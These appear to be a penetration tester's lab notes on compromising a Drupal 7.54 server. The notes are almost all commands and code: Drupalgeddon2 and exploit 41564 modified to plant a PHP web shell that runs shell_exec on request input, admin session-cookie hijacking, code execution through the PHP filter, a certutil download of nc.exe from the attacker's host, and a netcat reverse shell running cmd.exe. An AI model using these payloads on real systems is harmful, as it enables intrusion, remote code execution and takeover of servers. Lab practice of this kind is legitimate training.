Drupal
Last updated
droopescan --help
droopescan scan drupal -u 10.x.x.x
version: 7.54 ..Interesting Results
Admin: Login page ..But no exploits
Theme: seven
ctools, libraries,
image modulesearchsploit drupal 7.5gem install highline
ruby drupalgeddon2.rb 10.x.x.x
nc -nvlp 4444
certutil -urlcache -split -f http://$MyIP/nc.exe
nc.exe -e cmd.exe $MyIP 4444google drupal 7.54 exploits ..found one
searchsploit drupal ..found 7.x
searchsploit -x 41564.php ..view
searchsploit -p 41564.php ..clipboard
mv 41564.php drupal.php ..move/rename
Confirm rest:
http://10.x.x.x/rest_endpoint ..nothing
http://10.x.x.x/rest ..ok$url = 'http://10.x.x.x/'
$endpoint_path = '/rest_endpoint' ..default/wrong
$endpoint_path = '/rest'; ..found by dirbuster
$phpCode = <<<'EOD'
<?php
if (isset($_REQUEST['fupload'])) {
file_put_contents($_REQUEST['fupload], file_get_contents("http://10.x.x.x:8000/" . $_REQUEST['fupload']));
};
if (isset($_REQUEST['fexec'])) {
echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";
};
?>
EOD;
$file= [
'filename' => 'ippsec.php',
'data' => $phpCode
];Exploit:
> php drupal.phpcat user.json ..user/pass
cat session.json ..session/admin/cookie
firefox > cookies manager+ (addon) > New Cookie
cat session.json
session_name = Name: xyz111
session_id = Content: ddddd
<save>
http://10.x.x.x/ ..we are admin!!Drupal > Modules > PHP Filter (enable) > save
Add Content > Create Article
Title: test
Body: <?php phpinfo(); ?>
Format: PHP Code
Preview ... we have code execution!http://10.x.x.x/ippsec.php?fexec=dir
http://10.x.x.x/ippsec.php?fexec=systeminfo
http://10.x.x.x/ippsec.php?fexec=sc query state=all ..deniedOS Ver: 6.1.7600 B/A Build 7600
Hotfix: N/A
Kernel Exploit